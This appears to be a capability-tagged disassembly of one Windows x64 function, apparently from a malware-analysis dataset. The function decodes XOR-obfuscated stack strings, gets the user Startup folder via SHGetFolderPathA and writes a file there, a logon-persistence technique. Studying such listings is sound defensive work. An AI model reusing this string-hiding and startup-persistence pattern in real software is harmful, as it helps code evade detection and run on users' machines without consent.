Function at 0x1400021e0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Get common file path
Get startup folder

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x210]
sub rsp, 0x310
mov rax, qword [0x14000b040]
xor rax, rsp
mov qword [rbp + 0x200], rax
xor r14d, r14d
movdqa xmm0, xmmword [0x1400076d0]
movdqu xmmword [rsp + 0x40], xmm0
movdqa xmm1, xmmword [0x140007700]
movdqu xmmword [rsp + 0x50], xmm1
mov dword [rsp + 0x60], 0x7276366b
mov dword [rsp + 0x64], 0x6d6b7e7e
mov dword [rsp + 0x68], 0x4f460f4c
mov word [rsp + 0x6c], 0x48
mov byte [rsp + 0x6e], 1
mov ecx, r14d
nop dword [rax + rax]
lea eax, [rcx - 8]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 0x2d
jb 0x140002260
mov byte [rsp + 0x6e], r14b
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x78]
call fcn.140004170
nop
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0xd0]
call fcn.140001470
nop
mov rdx, qword [rbp - 0x70]
cmp rdx, 0xf
jbe 0x1400022d6
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400022d1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400022d1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000507c
movdqa xmm0, xmmword [0x1400076b0]
movdqu xmmword [rbp - 0x78], xmm0
mov byte [rsp + 0x78], 0
cmp qword [rbp + 0xe0], 0
je 0x1400025f7
lea rax, [rbp + 0xf0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 7]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jne 0x1400025f7
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], r14
lea rax, [rbp + 0xf0]
mov rbx, 0xffffffffffffffff
nop dword [rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140002340
movabs rdi, 0x7fffffffffffffff
cmp rbx, rdi
ja 0x140002667
mov qword [rsp + 0x58], 0xf
cmp rbx, 0xf
ja 0x14000238e
mov qword [rsp + 0x50], rbx
mov r8, rbx
lea rdx, [rbp + 0xf0]
lea rcx, [rsp + 0x40]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + rbx + 0x40], 0
jmp 0x14000242c
mov rax, rbx
or rax, 0xf
cmp rax, rdi
jbe 0x1400023c3
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140005040
test rax, rax
je 0x1400023ee
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140002407
mov rdi, rax
mov ecx, 0x16
cmp rax, rcx
cmovb rdi, rcx
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x1400023f5
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000266d
jmp 0x1400023a8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140002404
call fcn.140005040
mov rsi, rax
jmp 0x140002407
mov rsi, r14
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], rdi
mov r8, rbx
lea rdx, [rbp + 0xf0]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + rbx], 0
mov dword [rsp + 0x30], 0x999395a4
mov dword [rsp + 0x34], 0x938c889f
mov dword [rsp + 0x38], 0x6f6e652e
mov word [rsp + 0x3c], 0x100
mov rcx, r14
nop
lea eax, [rcx - 8]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 0xc
jb 0x140002450
mov byte [rsp + 0x3d], 0
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xb0]
call fcn.1400048d0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x1400024bc
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400024b7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400024b7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000507c
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], 0
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp - 0x60]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0xb0]
cmp qword [rbp + 0xc8], 0xf
cmova rdx, qword [rbp + 0xb0]
lea rcx, [rbp - 0x60]
call fcn.140004550
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x60], rax
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x64], edx
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x60]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
test al, al
jne 0x140002592
lea rdx, [rbp + 0xd0]
cmp qword [rbp + 0xe8], 0xf
cmova rdx, qword [rbp + 0xd0]
mov r8, qword [rbp + 0xe0]
lea rcx, [rbp - 0x60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp - 0x58]
call fcn.140004490
test rax, rax
jne 0x140002592
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x60]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
lea rcx, [rbp - 0x60]
call fcn.140002680
nop
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0xf
jbe 0x1400025e0
inc rdx
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400025db
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400025db
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000507c
movdqa xmm0, xmmword [0x1400076b0]
movdqu xmmword [rbp + 0xc0], xmm0
mov byte [rbp + 0xb0], 0
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0xf
jbe 0x14000263b
inc rdx
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002636
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002636
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000507c
mov rcx, qword [rbp + 0x200]
xor rcx, rsp
call fcn.140005020
lea r11, [rsp + 0x310]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call fcn.1400011b0
nop
call fcn.140001110
int3